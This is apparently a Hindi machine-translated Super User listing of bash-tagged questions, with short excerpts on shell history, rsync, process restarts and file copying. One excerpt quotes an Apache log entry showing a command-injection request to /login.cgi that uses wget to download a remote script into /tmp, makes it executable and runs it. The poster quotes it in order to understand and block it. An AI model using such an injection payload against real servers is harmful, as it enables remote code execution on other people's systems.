bash पर टैग किए गए जवाब

बैश GNU प्रोजेक्ट से यूनिक्स जैसे ऑपरेटिंग सिस्टम के लिए एक मुफ्त शेल है।

6
मैक पर टर्मिनल सत्रों के बीच बैश इतिहास संरक्षित नहीं
मेरे बैश इतिहास ने रहस्यमय तरीके से काम करना बंद कर दिया है, और मुझे नहीं पता कि इसे कैसे ठीक किया जाए। यह मेरा .bashrc जैसा दिखता है: HISTSIZE=500 HISTFILESIZE=500 HISTFILE=$HOME/.bash_history हालाँकि, जब मैं echo $HISTFILEइसे चलाता हूँ प्रिंट करता है /Users/myusername/.bash_sessions/EE8689E5-7DAD-4018-817E-0AF1DE36082A.historynew। मैं .bash_history फ़ाइल का स्वामी हूं, इसलिए …
33 macos  bash  unix  terminal  history 


3
मैं कैसे परेशान हो सकता हूं या बैश फ़ंक्शन से छुटकारा पा सकता हूं?
यदि आप बैश में एक वातावरण चर सेट या निर्यात करते हैं, तो आप इसे परेशान कर सकते हैं। यदि आप बैश में एक उपनाम सेट करते हैं, तो आप इसे खोल सकते हैं। लेकिन इसमें कोई कमी नहीं है । उदाहरण के लिए, यह (तुच्छ) बैश फ़ंक्शन पर विचार …

1
कैसे बैश वातावरण में वापस जाएं या एक शब्द आगे बढ़ाएं? [डुप्लिकेट]
संभव डुप्लिकेट: मैं कैसे बैश कमांडलाइन को कुशलतापूर्वक चला सकता हूं? विंडोज प्रॉम्प्ट में, एक दबाकर ctrlऔर एक शब्द आगे या पीछे जा सकता है <-/->। बैश वातावरण में क्या समान है?

3
मैं इसे निष्पादित किए बिना बैश इतिहास में एक कमांड कैसे जोड़ सकता हूं?
हर अब और फिर यह वास्तव में इसे क्रियान्वित किए बिना बैश के इतिहास में सीधे एक कमांड जोड़ने के लिए उपयोगी होगा। अब तक मैंने जो बंद चीज पाई है #, वह उसके सामने जोड़ रहा है और रिटर्न मार रहा है। क्या बेहतर तरीके हैं?

7
यदि यह विफल हो जाता है तो किसी लिनक्स पृष्ठभूमि प्रक्रिया को स्वचालित रूप से कैसे पुनः आरंभ करें?
मेरे पास एक प्रक्रिया है जिसे पृष्ठभूमि पर init.d स्क्रिप्ट द्वारा निष्पादित किया जाता है। उदाहरण के लिए: case "$1" in start) /bin/myprocess & stop) killall myprocess restart) killall myprocess /bin/myprocess & esac कुछ स्थितियों में, मायप्रोसेस विफल हो सकता है और वापस लौट सकता है। क्या कोई मानक (मानक) …
32 linux  bash  process  daemon 

5
पहले से चल रहे एक के बाद एक कमांड कैसे चलाएं, मौजूदा एक खत्म?
यदि मैं एक स्क्रिप्ट शुरू करता हूं, जो लंबे समय तक चलने वाली है, तो मैंने स्क्रिप्ट शुरू करने के बाद अनिवार्य रूप से इसका एहसास किया है, और काश एक बार इसे खत्म करने के बाद मुझे किसी तरह का अलर्ट करने का एक तरीका मिल जाता। इसलिए, उदाहरण …
32 linux  bash  terminal 

6
उन फ़ाइलों को कैसे प्रिंट करें जिन्हें rsync का उपयोग करके बदला गया है?
वहाँ rsync पाने के लिए एक तरीका है कि सभी फाइल को पूर्ण फाइलपेट्स को प्रिंट करें जो वास्तव में किसी भी फाइल को स्थानांतरित किए बिना अलग हैं? वैकल्पिक रूप से, मुझे केवल आकार या अंतिम-संशोधित समय में परिवर्तन के आधार पर दो पेड़ों (SSH से अधिक) में फ़ाइलों …
32 linux  bash  rsync  diff 

3
मल्टी-लाइन बैश कमांड में टिप्पणियां
यह एकल-कमांड BASH स्क्रिप्ट फ़ाइल को समझना मुश्किल है, इसलिए मैं प्रत्येक क्रिया के लिए एक टिप्पणी लिखना चाहता हूं: echo 'foo' \ | sed 's/d/a/' \ | sed 's/e/b/' \ | sed 's/f/c/' \ > myfile (sed केवल एक उदाहरण है, वास्तव में यह ग्रीप्स और trs और awks …
32 bash  pipe  comments  sh 

8
लिनक्स में फाइलें कॉपी करें, अगर गंतव्य में फाइलें मौजूद हैं तो कॉपी से बचें
यह सवाल स्टैक ओवरफ्लो से माइग्रेट किया गया था क्योंकि इसका जवाब सुपर यूजर पर दिया जा सकता है। 9 साल पहले पलायन कर गए । मुझे एक हार्ड डिस्क से दूसरे घर / / उपयोगकर्ता फ़ोल्डर की प्रतिलिपि बनाने की आवश्यकता है। इसमें 100,000 फाइलें और लगभग 10G आकार …
32 linux  bash 

1
क्या बैश को अधिक TAB के अनुकूल बनाने का एक तरीका है?
मैं अपने मैक और मेरे साइबर शेल के रूप में बैश का उपयोग करता हूं। कुल मिलाकर, मैं इससे काफी प्रसन्न हूं। हालांकि मेरी एक शिकायत यह है कि इसका TAB पूरा होना विंडोज कमांड लाइन TAB पूरा होने जितना अच्छा नहीं है। उदाहरण के लिए, यदि एक ही उपसर्ग …

2
मैं बैश में पिछली कमांड से एक विशिष्ट तर्क कैसे प्राप्त कर सकता हूं?
बैश में, आप !*पिछले कमांड से सभी तर्क प्राप्त करने के लिए उपयोग कर सकते हैं । एक उदाहरण के रूप में, यदि आपने किया cp /some/path /some/other/pathऔर फिर किया mv !*, तो दूसरी कमांड का विस्तार किया जाएगा mv /some/path /some/other/path। क्या ऐसा कुछ है जिसका उपयोग सभी के …

2
यह बैश स्क्रिप्ट क्या करती है? [हैक प्रयास]
मैं अपने सर्वर अपाचे लॉग पर देख रहा हूँ, निम्नलिखित अजीब लाइनें हाल ही में: 156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0" इसलिए मैंने एक कस्टम Fail2Ban फ़िल्टर बनाया और इन /login.cgi URL के अनुरोध वाले IP पर प्रतिबंध लगाना शुरू कर दिया। लेकिन मैं …

1
मैं बैश स्क्रिप्ट का उपयोग करके .inputrc कैसे पुनः लोड कर सकता हूं?
यह प्रश्न बताता है कि कैसे पुनः लोड .inputrcकरना है C-x C-r। लेकिन एक बैश स्क्रिप्ट में कमांड का उपयोग करके इसे कैसे पुनः लोड किया जाएगा?
31 bash  readline  inputrc 

5
लिनक्स: dir और subdirs से मेल खाने वाले सभी फाइल को एक ही dir में कॉपी करें
अगर मैं सभी की नकल करना चाहता था *.soसे फाइल srcकरने के लिए dstमुझे क्या करना चाहते हैं: cp src/*.so dst हालाँकि, मैं सभी *.soफाइलों को src से कॉपी करना चाहता हूँ और यह उप-विभाजनों में है dst। कोई सुराग?
31 linux  bash 

हमारी साइट का प्रयोग करके, आप स्वीकार करते हैं कि आपने हमारी Cookie Policy और निजता नीति को पढ़ और समझा लिया है।
Licensed under cc by-sa 3.0 with attribution required.